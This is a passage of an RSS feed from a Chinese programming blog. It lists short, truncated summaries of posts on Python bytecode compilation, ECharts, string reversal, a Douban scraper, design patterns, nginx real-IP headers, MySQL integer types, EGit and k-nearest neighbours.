呃…这么说，好像又有点自相矛盾的赶脚。&#xA;在所有的Python选项中：&#xA;-O，表示优化生成.pyo字节码（这里又有“优化”两个字，得注意啦！）-OO，表示进一步移除-O选项生成的字节码文件中的文档字符串（这是在作用效果上解释的，而不是说从-O选项得到的文件去除）-m，表示导入并运行指定的模块 对此，我们可以使用如下格式运行.py文件来生成.pyc文件（以下调用均假设/path/to目录含有.py脚本）：&#xA;python -m py_compile /path/to/需要生成.pyc的脚本.py #若批量处理.py文件 #则替换为/path/to/{需要生成.pyc的脚本1,脚本2,...}.py #或者/path/to/ 其效果等效于如下代码：&#xA;import py_compile py_compile.compile(r&#39;/path/to/需要生成.pyc的脚本.py&#39;) #同样也可以是包含.py文件的目录路径 #此处尽可能使用raw字符串，从而避免转义的麻烦。比如，这里不加“r”的话，你就得对斜杠进行转义 py_compile是Python的自带模块，这里面就两个函数（看到这个，我笑了(๑•́ ₃ •̀๑)噗噗）。其下的py_compile.compile(file[, cfile[, dfile[, doraise]]])可将.py文件编译生成.pyc文件（默认），对应的参数解释如下&#xA;file，表示需要生成.pyc或.pyo文件的源脚本名（字符串）；cfile，表示需要生成.pyc或.pyo文件的目标脚本名。呃…好像没有区别（＞﹏＜） ，也就是源脚本—–[巴拉拉赐予你力量！编译！]（ *￣▽￣）o ─═≡※:☆—–&amp;gt;目标脚本。当然，它默认是以.pyc为扩展名的路径名的字符串（呼…好长）。此外，当且仅当所使用的解释器允许编译成.pyo文件，才能以“.pyo”结尾。这也就是我上面为什么会在函数功能解释上加上“（默认）”这两个字的原因。dfile，表示编译出错时，将报错信息中的名字“file”替换为“dfile”。doraise，设置是否忽略异常。若为True，则抛出PyCompileError异常；否则直接将错误信息写入sys.stderr（什么！不知道sys.stderr？！温馨提示：sys.stderr是Python自带的标准错误输出） （╯’ - ‘)╯︵ ┻━┻ （掀桌子） ┬─┬ ノ( ’ - ‘ノ) （摆好摆好） (╯°Д°)╯︵ ┻━┻(再TA喵掀一次） 另外，生成.pyo文件的格式调用如下：&#xA;python -O -m py_compile /path/to/需要生成.</description>
    </item>
    <item>
      <title>全国1977——2016年参加高考人数和录取率</title>
      <link>https://bchobby.github.io/posts/3546b680d362e7000d1fde79b2fbd758/</link>
      <pubDate>Wed, 07 Jun 2017 09:08:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3546b680d362e7000d1fde79b2fbd758/</guid>
      <description>序号&#xA;时间(年)&#xA;参加高考人数(万人)&#xA;录取人数(万人)&#xA;录取率(%)&#xA;备注（高校数）&#xA;1&#xA;1977&#xA;570&#xA;27&#xA;5%&#xA;404&#xA;2&#xA;1978&#xA;610&#xA;40.2&#xA;7%&#xA;598&#xA;3&#xA;1979&#xA;468&#xA;28&#xA;6%&#xA;633&#xA;4&#xA;1980&#xA;333&#xA;28&#xA;8%&#xA;675&#xA;5&#xA;1981&#xA;259&#xA;28&#xA;11%&#xA;704&#xA;6&#xA;1982&#xA;187&#xA;32&#xA;17%&#xA;715&#xA;7&#xA;1983&#xA;167&#xA;39&#xA;23%&#xA;805&#xA;8&#xA;1984&#xA;164&#xA;48&#xA;29%&#xA;902&#xA;9&#xA;1985&#xA;176&#xA;62&#xA;35%&#xA;1016&#xA;10&#xA;1986&#xA;191&#xA;57&#xA;30%&#xA;1054&#xA;11&#xA;1987&#xA;228</description>
    </item>
    <item>
      <title>ECharts图表中修改每个category的颜色</title>
      <link>https://bchobby.github.io/posts/7d6d4f833423f696a3453e16e00c17e9/</link>
      <pubDate>Tue, 06 Jun 2017 13:13:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d6d4f833423f696a3453e16e00c17e9/</guid>
      <description>要修改每个类别的显示颜色，需要给每个数据项配置 具体方法为：在series里面给data数组的每个元素设置itemSytle就可以了&#xA;var myTestCharts = echarts.init(document.getElementById(&#39;myTest&#39;)); option如下：&#xA;myOption = { title : { text: &#39;场馆内各类人数量&#39; }, tooltip : { trigger: &#39;axis&#39; }, xAxis : [ { type : &#39;value&#39;, axisLabel : { formatter: &#39;{value} 人&#39; } } ], yAxis : [ { type : &#39;category&#39;, data : [&#39;男人&#39;,&#39;女人&#39;,&#39;老人&#39;,&#39;小孩&#39;] } ], series : [ { type:&#39;bar&#39;, data:[ { value:70, itemStyle:{ normal:{color:&#39;blue&#39;} } }, { value:45, itemStyle:{ normal:{color:&#39;purple&#39;} } }, { value:16, itemStyle:{ normal:{color:&#39;yellow&#39;} } }, { value:91, itemStyle:{ normal:{color:&#39;red&#39;} } } ] } ] }; 将图表显示出来：</description>
    </item>
    <item>
      <title>Python 实现字符串反转的四种方法</title>
      <link>https://bchobby.github.io/posts/1f618d81dd2aaf7876a99d9274f4c266/</link>
      <pubDate>Mon, 05 Jun 2017 22:48:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f618d81dd2aaf7876a99d9274f4c266/</guid>
      <description>下面是实现python字符串反转的四种方法：&#xA;1. 切片 def rev(s):&#xA;return s[::-1]&#xA;这是采用切片的方法，设置步长为-1，也就是反过来排序。&#xA;这种方法是最简洁的，也是最推荐的。&#xA;2. 这种方法与切片类似，不过比较麻烦 def rev(s):&#xA;str0 = ”&#xA;l = len(s)-1&#xA;while l &amp;gt;= 0:&#xA;str0 += s[l]&#xA;l -= 1&#xA;return str0&#xA;这种方法是先设置一个str0的空变量，然后在s中从后往前取值，然后追加到str0中。&#xA;3.列表 def rev(s):&#xA;a = list(s)&#xA;a.reverse()&#xA;return ”.join(a)&#xA;这种方法是采用列表的reverse方法，先将s转换为列表，然后通过reverse方法反转，然后在通过join连接为字符串。&#xA;注意：这里注意区分列表的reverse和sort（或sorted）方法：&#xA;reverse是把列表方向排序;&#xA;sort(reverse=True)是按照某种顺序方向排序。&#xA;example:&#xA;&amp;gt;&amp;gt;&amp;gt; a=[&#39;a&#39;,&#39;c&#39;,&#39;b&#39;,&#39;d&#39;]&#xA;&amp;gt;&amp;gt;&amp;gt; b=[&#39;a&#39;,&#39;c&#39;,&#39;b&#39;,&#39;d&#39;]&#xA;&amp;gt;&amp;gt;&amp;gt; a.sort(reverse=True)&#xA;&amp;gt;&amp;gt;&amp;gt; b.reverse()&#xA;&amp;gt;&amp;gt;&amp;gt; a&#xA;[&#39;d&#39;, &#39;c&#39;, &#39;b&#39;, &#39;a&#39;]&#xA;&amp;gt;&amp;gt;&amp;gt; b&#xA;[&#39;d&#39;, &#39;b&#39;, &#39;c&#39;, &#39;a&#39;]&#xA;4. reduce def rev(s):</description>
    </item>
    <item>
      <title>使用requests爬取豆瓣电影top250</title>
      <link>https://bchobby.github.io/posts/c674f3f0e4ca9d8fedc582d82b79324b/</link>
      <pubDate>Sat, 03 Jun 2017 18:51:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c674f3f0e4ca9d8fedc582d82b79324b/</guid>
      <description>今天使用requests获取豆瓣电影top250的内容，先说下思路&#xA;表设计获取每一页的内容获取当前页每一部电影对应的链接&#xA;##获取所有页的url&#xA;for i in range(10): top_url = &#34;https://movie.douban.com/top250?start={0}&amp;amp;filter=&#34;.format(i*25) ##获取前页每一部电影对应的链接&#xA;all_title_urls = selector.css(&#34;.grid_view li .hd a::attr(href)&#34;).extract() for url in all_title_urls: print(url) ##获取当前页的字段值&#xA;###获取排行次数&#xA;selector.css(&#39;.top250 .top250-no ::text&#39;).extract()[0] 这里由于我们需要以整形来保存，所以需要使用正则表达式过滤前面的字符&#xA;match_obj = re.match(&#34;.*No\.(\d+).*&#34;, top_number) if match_obj: top_number = match_obj.group(1) ###获取电影名称&#xA;selector.css(&#39;#content h1 span::text&#39;).extract()[0] ###获取导演名称&#xA;selector.css(&#39;#info .attrs a::text&#39;).extract()[0] ###获取电影评分&#xA;selector.css(&#39;#interest_sectl .ll.rating_num::text&#39;).extract()[0] ###获取电影描述&#xA;selector.css(&#39;#link-report span[property=v\:summary]::text&#39;).extract()[0] ##完整代码&#xA;# -*- coding: utf-8 -*- import requests import re from scrapy.selector import Selector import MySQLdb conn= MySQLdb.connect( host=&#39;localhost&#39;, port=3306, user=&#39;root&#39;, passwd=&#39;root&#39;, db=&#39;articlespider&#39;, charset=&#39;utf8&#39;, use_unicode=True) cursor = conn.</description>
    </item>
    <item>
      <title>设计模式-策略模式</title>
      <link>https://bchobby.github.io/posts/de16ced797eb17b6d131cb4a91fd18c1/</link>
      <pubDate>Thu, 01 Jun 2017 15:11:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de16ced797eb17b6d131cb4a91fd18c1/</guid>
      <description>设计模式-策略模式 概念 策略模式定义了一系列算法，所有这些算法从抽象概念上是相同的，只是实现不同，可以以相同方式（如相同签名的方法）调用；减少客户端掌握方法的数量以及减少各自算法类已使用算法类之间的耦合 优点 1、 策略模式提供了管理相关的算法族的办法。策略类的等级结构定义了一个算法或行为族。恰当使用继承可以把公共的代码转移到父类里面，从而避免重复的代码。 2、 策略模式提供了可以替换继承关系的办法。继承可以处理多种算法或行为。如果不是用策略模式，那么使用算法或行为的环境类就可能会有一些子类，每一个子类提供一个不同的算法或行为。但是，这样一来算法或行为的使用者就和算法或行为本身混在一起。决定使用哪一种算法或采取哪一种行为的逻辑就和算法或行为的逻辑混合在一起，从而不可能再独立演化。继承使得动态改变算法或行为变得不可能。 3、 使用策略模式可以避免使用多重条件转移语句。多重转移语句不易维护，它把采取哪一种算法或采取哪一种行为的逻辑与算法或行为的逻辑混合在一起，统统列在一个多重转移语句里面，比使用继承的办法还要原始和落后。 缺点 1、客户端必须知道所有的策略类，并自行决定使用哪一个策略类。这就意味着客户端必须理解这些算法的区别，以便适时选择恰当的算法类。换言之，策略模式只适用于客户端知道所有的算法或行为的情况。 2、 策略模式造成很多的策略类，每个具体策略类都会产生一个新类。有时候可以通过把依赖于环境的状态保存到客户端里面，而将策略类设计成可共享的，这样策略类实例可以被不同客户端使用。换言之，可以使用享元模式来减少对象的数量。 使用场景 1、如果在一个系统里面有许多类，它们之间的区别仅在于它们的行为，那么使用策略模式可以动态地让一个对象在许多行为中选择一种行为。 2、一个系统需要动态地在几种算法中选择一种。 3、如果一个对象有很多的行为，如果不用恰当的模式，这些行为就只好使用多重的条件选择语句来实现。 角色 抽象策略角色： 策略类，通常由一个接口或者抽象类实现。 具体策略角色：包装了相关的算法和行为。&#xA;环境角色：持有一个策略类的引用，最终给客户端调用。&#xA;UML类结构图 以代码和文字说明解析类结构图 抽象策略角色 类：AbstarctStrategy 代码： /** * Created by laizhiyuan on 2017/6/1. * * 设计模式-策略模式-抽象策略/算法 */ public abstract class AbstarctStrategy { /** * 计算金额抽象接口 * @param money * @return */ public abstract double countMoney(double money); /** * 不属于策略模式关键部分，我额外定义对参数进行检查的方法 * 检查金额 * @param money * @return */ protected double checkMoney(double money){ if (money == 0){ //TODO 处理为0时逻辑 } return money; } } 具体策略角色</description>
    </item>
    <item>
      <title>解决网站项目本地运行ok,将代码上传到服务器中或github中无CSS效果</title>
      <link>https://bchobby.github.io/posts/d7d29b4ec08897adecc6877549dc8d7b/</link>
      <pubDate>Thu, 01 Jun 2017 09:28:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7d29b4ec08897adecc6877549dc8d7b/</guid>
      <description>运行环境:IE10,Chrome,Firefox&#xA;使用插件及类库:JQFullPage.js,JQuery.&#xA;本人由于暂时时间空余,写了一下简单的个人网站,经过几个小时的coding 之后,终于在将网站写出一点效果,运行起来正常,之后自己上传到新浪云(PS:有人喜欢阿里云,华为云,其实基本的都一样的,百度一下有详细的SOP),发现并没有FullPage.js及CSS所渲染的效果.仔细检查代码,并没有发现明显的错误.引入文件的路径也是使用的相对路径.如下图所示&#xA;然而并没有发现问题.只好初步怀疑是服务器端不支持该第三方插件或者License没有及时地更新,在查阅相关资料之后发现并没有发现有此类问题.将代码重新github上也出现相同的问题.最后还是回归到JS代码中,在代码中分别加入了两行Alert(&#34;语句1&#34;)和Alert(&#34;语句2&#34;),再次通过IP访问时,发现第二个语句并没有执行,经查资料发现,$(window).ready(){ $(&#39;.preloader&#39;).delay(100).fadeOut(&#34;speed&#34;); }该方法并不一定需要等到所有的JS及图片都加载OK后再执行的,而我所需要的是JQuery.Fullpage.js要执行完才可以执行首页方法.&#xA;$(window).on(&#39;load&#39;,function(){$(&#39;.preloader&#39;).delay(100).fadeOut(&#34;speed&#34;); });更改后重新上传到服务中通过网络访问OK.&#xA;总结:下次遇到类似的问题首先考虑引入的文件是否使用的是相对路径.其次再注意使用$(window).ready(){}方法.&#xA;如果我的解答对你起到了帮助,请记得点赞哦！</description>
    </item>
    <item>
      <title>js中substring方法的详解</title>
      <link>https://bchobby.github.io/posts/917cff5ef0ccbb7c9ea3af83254e9221/</link>
      <pubDate>Wed, 31 May 2017 15:17:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/917cff5ef0ccbb7c9ea3af83254e9221/</guid>
      <description>前言：记录自己在工作中遇到的小问题，积少成多！因为是新手，有什么写的不好的地方还希望大家能够指出来。有什么更好的解决方法也希望大家能提出来，一起交流分享！（小弟在这里先谢谢大家）&#xA;1、介绍&#xA;substring方法用于从一个字符串中提取一个子的字符串；&#xA;2、用法&#xA;stringObject.substring(start,stop)；&#xA;3、参数介绍&#xA;start（必填）：要提取的子字符串，在原始字符串中的起始位置；&#xA;stop（可选）：要提取的子字符串，在原始字符串中的结束位置；&#xA;注意事项：起始包含start，但是结束不包含stop；如果不填写stop，那么要提取的子字符串就是从start开始，到原始字符串的最后一个字符；&#xA;（要记住下标是从0开始，而非从1开始）&#xA;4、例子&#xA;1、只有一个参数的例子&#xA;&amp;lt;script type=&#34;text/javascript&#34;&amp;gt;&#xA;var str=&#34;Hello world!&#34;&#xA;document.write(str.substring(3))&#xA;&amp;lt;/script&amp;gt;&#xA;输出：lo world!&#xA;2、包含两个参数的例子&#xA;&amp;lt;script type=&#34;text/javascript&#34;&amp;gt;&#xA;var str=&#34;Hello world!&#34;&#xA;document.write(str.substring(3，5))&#xA;&amp;lt;/script&amp;gt;&#xA;输出：lo</description>
    </item>
    <item>
      <title>nginx 如何配置来获取用户真实IP</title>
      <link>https://bchobby.github.io/posts/3f41ed51b5b2c41d036d14c720904aef/</link>
      <pubDate>Wed, 31 May 2017 14:34:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f41ed51b5b2c41d036d14c720904aef/</guid>
      <description>##1.背景知识 1.1. 前提知识点： 还有nginx中的几个变量：&#xA;remote_addr 代表客户端的IP，但它的值不是由客户端提供的，而是服务端根据客户端的ip指定的，当你的浏览器访问某个网站时，假设中间没有任何代理，那么网站的web服务器（Nginx，Apache等）就会把remote_addr设为你的机器IP，如果你用了某个代理，那么你的浏览器会先访问这个代理，然后再由这个代理转发到网站，这样web服务器就会把remote_addr设为这台代理机器的IP,除非代理将你的IP附在请求header中一起转交给web服务器。&#xA;X-Forwarded-For（简称XFF）&#xA;X-Forwarded-For 是一个 HTTP 扩展头部。HTTP/1.1（RFC 2616）协议并没有对它的定义，它最开始是由 Squid 这个缓存代理软件引入，用来表示 HTTP 请求端真实 IP。如今它已经成为事实上的标准，被各大 HTTP 代理、负载均衡等转发服务广泛使用，并被写入 RFC 7239（Forwarded HTTP Extension）标准之中。&#xA;XFF的格式为：&#xA;X-Forwarded-For: client, proxy1, proxy2 XFF 的内容由「英文逗号 + 空格」隔开的多个部分组成，最开始的是离服务端最远的设备 IP，然后是每一级代理设备的 IP。（注意：如果未经严格处理，可以被伪造）&#xA;如果一个 HTTP 请求到达服务器之前，经过了三个代理 Proxy1、Proxy2、Proxy3，IP 分别为 IP1、IP2、IP3，用户真实 IP 为 IP0，那么按照 XFF 标准，服务端最终会收到以下信息：&#xA;X-Forwarded-For: IP0, IP1, IP2 Proxy3 直连服务器，它会给 XFF 追加 IP2，表示它是在帮 Proxy2 转发请求。列表中并没有 IP3，IP3 可以在服务端通过 Remote Address 字段获得。我们知道 HTTP 连接基于 TCP 连接，HTTP 协议中没有 IP 的概念，Remote Address 来自 TCP 连接，表示与服务端建立 TCP 连接的设备 IP，在这个例子里就是 IP3。Remote Address 无法伪造，因为建立 TCP 连接需要三次握手，如果伪造了源 IP，无法建立 TCP 连接，更不会有后面的 HTTP 请求。但是在正常情况下，web服务器获取Remote Address只会获取到上一级的IP，本例里则是proxy3 的 IP3，这里先埋个伏笔。</description>
    </item>
    <item>
      <title>Exception in thread &#34;main&#34; java.lang.IncompatibleClassChangeError: Found interface com.mysql.jdbc.Co</title>
      <link>https://bchobby.github.io/posts/2739daec2af4371ab34f1ba281ba236c/</link>
      <pubDate>Tue, 30 May 2017 11:07:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2739daec2af4371ab34f1ba281ba236c/</guid>
      <description>Exception in thread &#34;main&#34;java.lang.IncompatibleClassChangeError: Found interfacecom.mysql.jdbc.Connection, but class was expected&#xA;atcom.kevin.imageuploadserver.DBManager.getStatement(DBManager.java:23)&#xA;atcom.kevin.imageuploadserver.DBManager.query(DBManager.java:63)&#xA;atcom.kevin.imageuploadserver.ScanTest.doScan(ScanTest.java:56)&#xA;atcom.kevin.imageuploadserver.ScanTest.main(ScanTest.java:35)&#xA;前两天遇到这个奇葩错误，&#xA;百度了好多，什么包依赖冲突，JDK版本不匹配，环境变量冲突，还有什么编译问题。&#xA;首先查了一下JDK，都是1.6，那就不是版本和编译版本不一致的问题。&#xA;包依赖问题，因为项目基本用的都是我之前用过的包，也没有import什么新的不熟的包，应该也没有这个问题。特别是JDBC的那几个，老将了都。&#xA;最后查查点点的，还搞了一下refreshing server adapter....&#xA;还是不行。&#xA;最后就怒重启，再bulid all 和build project，然后运行就...好...了....&#xA;经常遇到一些莫名其妙的错误，真的是。&#xA;【https://my.oschina.net/itblog/blog/528613】&#xA;【http://www.bubuko.com/infodetail-1019393.html】</description>
    </item>
    <item>
      <title>jQuery_Ajax: $.ajax()中的常用参数</title>
      <link>https://bchobby.github.io/posts/687b6f71e125f6f66a1c046c944af0c7/</link>
      <pubDate>Sun, 28 May 2017 23:12:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/687b6f71e125f6f66a1c046c944af0c7/</guid>
      <description>$.ajax()方法中的常用参数 1、 url （paramType:String）发送请求地址。&#xA;2、 type （paramType:String）请求方式（post或 get）默认为get。&#xA;3、 dataType （paramType:String）服务器返回的数据类型。如果没有指定，则返回responseXML或responseText。 可指定的类型： text: 返回纯文本字符串。 json: 返回JSON数据。 html: 返回纯文本HTML信息。 xml: 返回XML文档。 script: 返回纯文本Javascript代码。 jsonp: JSON格式。&#xA;4、data (paramType: String/Object) 发送到服务端的数据。如果不是字符串，将自动转换为字符串格式。&#xA;5、 success (paramType:Function） 请求完成后的回调函数，有两个参数。 (1)由服务器返回，并根据dataType参数进行处理后的数据。 (2)描述状态的字符串。 function(data, textStatus){ //data可能是xmlDoc、jsonObj、html、text等等 this; //调用本次ajax请求时传递的options参数 }&#xA;6、 contentType (parmType: String)当发送信息至服务器时，内容编码类型默认为”application/x-www-form-urlencoded”&#xA;7、 timeout （paramType:Number）设置请求超时时间（毫秒）。&#xA;8、 async (paramType: Boolean) 默认设置为true，所有请求均为异步请求。如果需要发送同步请求，请将此选项设置为false。注意，同步请求将锁住浏览器，用户其他操作必须等待请求完成才可以执行。&#xA;9、 error (paramType:Function） 请求失败时被调用的函数。该函数有3个参数，即XMLHttpRequest对象、错误信息、捕获的错误对象(可选)。ajax事件函数如下： function(XMLHttpRequest, textStatus, errorThrown){ //通常情况下textStatus和errorThrown只有其中一个包含信息 this; //调用本次ajax请求时传递的options参数 }&#xA;事例代码：&#xA;$(function(){ $(&#34;#sendmsg&#34;).on(&#39;click&#39;,function(){//用户点击Send Message按钮发送消息 var c = $(&#34;</description>
    </item>
    <item>
      <title>JDK 版本号对应的数字</title>
      <link>https://bchobby.github.io/posts/96493eb933e731127d3ea6a21877e335/</link>
      <pubDate>Fri, 26 May 2017 17:03:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96493eb933e731127d3ea6a21877e335/</guid>
      <description>J2SE 8 = 52 (0x34 hex)&#xA;J2SE 7 = 51 (0x33 hex)&#xA;J2SE 6.0 = 50 (0x32 hex)&#xA;J2SE 5.0 = 49 (0x31 hex)&#xA;JDK 1.4 = 48 (0x30 hex)&#xA;JDK 1.3 = 47 (0x2F hex)&#xA;JDK 1.2 = 46 (0x2E hex)&#xA;JDK 1.1 = 45 (0x2D hex)</description>
    </item>
    <item>
      <title>训练不收敛的几种可能</title>
      <link>https://bchobby.github.io/posts/80132b5337b5a7879907fb178825fbfb/</link>
      <pubDate>Fri, 26 May 2017 10:20:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80132b5337b5a7879907fb178825fbfb/</guid>
      <description>1. 学习率 我们可能已经听说了很多，如果loss不收敛就将学习率降低。但是，这在重新训练时是个误区，尤其是在训练的开始阶段。在开始阶段我们不能把学习率设置的太低否则loss不会收敛。我的做法是逐渐尝试，从0.1,0.08,0.06,0.05 ......逐渐减小，如果学习率设置的过大，loss会直接爆炸变成87.33（原因可参考：http://blog.csdn.NET/jkfdqjjy/article/details/52268565?locationNum=14）我们逐渐减小学习率，直到loss正常为止。我们可以用第一个最大值训练网络，开始时loss下降很慢，可能要等到迭代3万次左右才有明显变化，耐心等待。当训练时发现loss不再下降，这时我们可以再降低学习率，继续训练。&#xA;影响loss收敛性的因素有很多，还没有一一尝试。dropout_ratio,batchsize等。&#xA;2. 数据未归一化&#xA;3. 网络结构不合理</description>
    </item>
    <item>
      <title>StringBuffer的delete方法与deleteCharAt的区别！！！</title>
      <link>https://bchobby.github.io/posts/0e26fa2bbf2d6d006821439f337d863e/</link>
      <pubDate>Thu, 25 May 2017 16:53:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0e26fa2bbf2d6d006821439f337d863e/</guid>
      <description>前言：记录自己在工作中遇到的小问题，积少成多！因为是新手，有什么写的不好的地方还希望大家能够指出来。有什么更好的解决方法也希望大家能提出来，一起交流分享！（小弟在这里先谢谢大家）&#xA;1、介绍&#xA;delete方法与deleteCharAt两个方法都是用来删除StringBuffer字符串指定索引字符的方法，&#xA;delete（int a,int b）有两个参数，使用时删除索引从a开始（包含a）到b（不包含b）的所有字符；&#xA;deleteCharAt（int a）只有一个参数，使用时删除索引为a的字符；&#xA;以上就是这两个方法的介绍。&#xA;2、java测试代码&#xA;public static void main(String[] args) { StringBuffer buff = new StringBuffer(&#34;0123456789&#34;); System.out.println(&#34;buff=&#34;+buff); //删除下标从3到5的字符 buff.delete(3,5); System.out.println(&#34;deletionBack=&#34;+ buff); buff = new StringBuffer(&#34;0123456789&#34;); //删除下标为8字符 buff.deleteCharAt(8); System.out.println(&#34;delectCharAtBack=&#34;+buff); } 3、控制台输出结果 buff=0123456789&#xA;deletionBack=01256789&#xA;delectCharAtBack=012345679</description>
    </item>
    <item>
      <title>tinyint(1)与tinyint(3),int(1)与int(3),tiny(1)与int(1)区别</title>
      <link>https://bchobby.github.io/posts/aac39d869c505ae33a277b8c3228cc27/</link>
      <pubDate>Thu, 25 May 2017 15:43:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aac39d869c505ae33a277b8c3228cc27/</guid>
      <description>tinyint一个字节 smallint 两个字节 MEDIUMINT三个字节 int四个字节&#xA;不管 tinyint 后面的数字是多少，它存储长度=2^（1字节）=2^8，即存储范围是 -2^7 到 2^7 - 1。&#xA;不管 int 后面的数字是多少，它存储长度=2^（4字节）=2^32，即存储范围是 -2^31 到 2^31 - 1。&#xA;所以，tinyint(1)与tinyint(3),int(1)与int(3)在所占的存储空间都是一样，http://blog.csdn.net/phpwish/article/details/7845921 这里讲区别在于，区别就是显示的长度不同，但是，通过数据库实际操作试了下，我设置一个字段int(1),插入该字段一个值1234567890，仍然能够正常显示啊，而不是只显示1位，所以，我是不是可以认为，tiny或int后设置的这个数字根本没有任何作用呢？&#xA;但是char还有varchar后面的数字是表示显示的位数的，看黄色圈中的部分。&#xA;MySQL中，int(10)和int(3)的区别&#xA;答：int（10）和int（3）在存储上并没有什么区别，他们在存储中都是占用4字节32位，表示范围为：有符号数（-2147483648~2147483647），无符号数（0~4294967295）。&#xA;区别在于：在创建类型时加入zerofill来用0填充，可以看出区别。例如int（3），当你存储时，MySQL会帮你补全，存储为011，而当超过3位时，则没有影响。&#xA;int(1) 和 tinyint(1) ，在设计数据库的时候应该选择tinyint(1)。所占的储存空间越少越好，当然要够用才行。像这样储存一个 个位数的字段，还是用tinyint(1)的好。</description>
    </item>
    <item>
      <title>在js中如何获取到你点击的元素的html、对象、属性值、以及自定义的属性值</title>
      <link>https://bchobby.github.io/posts/7f44527e02f8afd70ea37887889a98fd/</link>
      <pubDate>Thu, 25 May 2017 15:33:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f44527e02f8afd70ea37887889a98fd/</guid>
      <description>前言：记录自己在工作中遇到的小问题，积少成多！因为是新手，有什么写的不好的地方还希望大家能够指出来。有什么更好的解决方法也希望大家能提出来，一起交流分享！（小弟在这里先谢谢大家）&#xA;直接上代码：&#xA;1、jsp页面代码&#xA;&amp;lt;p&amp;gt;首先定义两个按钮,添加一些常规属性type、id、value&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;其次再定义给每个按钮一个自定义的属性custom&amp;lt;/p&amp;gt; 与方法一配套的input &amp;lt;input type=&#34;button&#34; id=&#34;button1&#34; value=&#34;按钮1&#34; custom=&#34;这是自定义的属性1&#34; οnclick=&#34;button1(this)&#34;/&amp;gt; &amp;lt;/br&amp;gt; &amp;lt;/br&amp;gt; 与方法二配套的input &amp;lt;input type=&#34;button&#34; id=&#34;button2&#34; value=&#34;按钮2&#34; custom=&#34;这是自定义的属性2&#34;/&amp;gt; 2、js代码&#xA;&amp;lt;script type=&#34;text/javascript&#34;&amp;gt; //现在我们要做的就是点击button,获取到他的整个html或者整个对象 //方法一:直接给button一个onclick事件 function button1(e){ //得到html console.log(e) //得到对象 console.log($(e)) //得到自定义的custom console.log($(e).attr(&#34;custom&#34;)) } //方法二：通过js动态的给按钮添加一个click事件 $(function(){ $(&#34;#button2&#34;).click(function(){ //得到html console.log(this) //得到对象 console.log($(this)) //得到自定义的custom console.log($(this).attr(&#34;custom&#34;)) }) }) &amp;lt;/script&amp;gt; 3、运行结果 红框是点击按钮1的效果！！！&#xA;绿框是点击按钮2的效果！！！&#xA;见下图：&#xA;4、总结&#xA;1、使用attr属性可以获取到自定义的属性（attr也可以设置自定义的属性，例：$（this）.attr(&#34;custom&#34;,&#34;这是修改后的自定义属性&#34;) 这样就可以吧&#34;这是自定义的属性&#34;修改为&#34;这是修改后的自定义属性值&#34;)&#xA;想继续了解attr属性可以点击：http://www.w3school.com.cn/jquery/attributes_attr.asp</description>
    </item>
    <item>
      <title>Eclipse集成Git插件及使用</title>
      <link>https://bchobby.github.io/posts/19c2f081607625053a9ff3eb71397082/</link>
      <pubDate>Thu, 25 May 2017 10:08:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19c2f081607625053a9ff3eb71397082/</guid>
      <description>1. Git插件安装 1.1 下载插件 首先打开Eclipse，然后点击Help&amp;gt;Install New Software&amp;gt;Add。 Name：EGit Location： http://download.eclipse.org/egit/updates 图1 图2 勾选插件，然后一路 next ，最后重启Eclipse。 2. Git提交代码 2.1 建git的本地仓库： 第一种 ： 第一步 如图： 第二步 这里是创建Git的本地仓库(如果没有) 如图： 第二种 ： 第一步 如图： 第二步 如图：这种的仓库默认在项目文件中，最后点击Finish 建库时遇到的错误： eclipse.jgit.api.errors.JGitInternalException: User config file C:\Users\Administrator.gitconfig invalid org.eclipse.jgit.errors.ConfigInvalidException: Cannot read file C:\Users\Administrator.gitconfig 原因：可能是多次配置git时配置文件发生了错误，导致文件损坏，无法读取。 解决：C:\Users\Administrator.gitconfig根据这个路径删除文件，重启Eclipse。&#xA;项目创建本地仓库后 如图： 创建本地仓库后项目上会有&amp;gt; ？符号 说明还没提交到本地仓库。 2.2 提交本地仓库： 第一步 如图： 第二步 如图： 2.3 提交远程仓库： 只有提交了本地仓库，才可以提交远程仓库&#xA;第一步 如图： 第二步 如图： 第三步 如图： &amp;gt;&#xA;第四步 如图： 3.</description>
    </item>
    <item>
      <title>机器学习实战—第2章 k-近邻算法</title>
      <link>https://bchobby.github.io/posts/09d1e7379b06f8206f3029366ac5e765/</link>
      <pubDate>Wed, 24 May 2017 22:36:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09d1e7379b06f8206f3029366ac5e765/</guid>
      <description>2.1 K-近邻算法概述 k-近邻算法&#xA;优点： 精度高、对异常值不敏感、无数据输入假定缺点 计算复杂度高、空间复杂度高使用数据范围： 数值型和标称型 k-近邻算法的工作原理：&#xA;存在一个样本数据集合，也称作训练样本集，并且样本集中每个数据都存在标签，即知道样本集中每一数据与所属分类的关系。输入没有标签的新数据后，将新数据的每个特征与样本集中数据对应的特征进行比较，然后算法提取样本集中特征最相似数据（最近邻）的分类标签。一般来说，只选择样本数据集中前k个最相似的数据，通常k不大于20，选择k个最相似数据中出现次数最多的分类，作为数据的分类。&#xA;k-近邻算法的一般流程：&#xA;收集数据：可以使用任何方法准备数据：距离计算所需要的数值，最好是结构化的数据格式分析数据：可以使用任何方法训练算法：此步骤不适用于k-近邻算法测试算法：计算错误率使用算法：首先需要输入样本数据和结构化的输出结果，然后运行k-近邻算法判定输入数据分别属于哪个分类，最后应用对计算出的分类执行后续的处理 # -*- coding: utf-8 -*- &#34;&#34;&#34; Created on Wed May 24 21:42:55 2017 @name: kNN.py @author: L. D. Xiao &#34;&#34;&#34; from numpy import * import operator #============================================================================== # 创建数据集和标签 #============================================================================== def createDataSet(): group = array([[1.0,1.1],[1.0,1.0],[0,0],[0,0.1]]) labels = 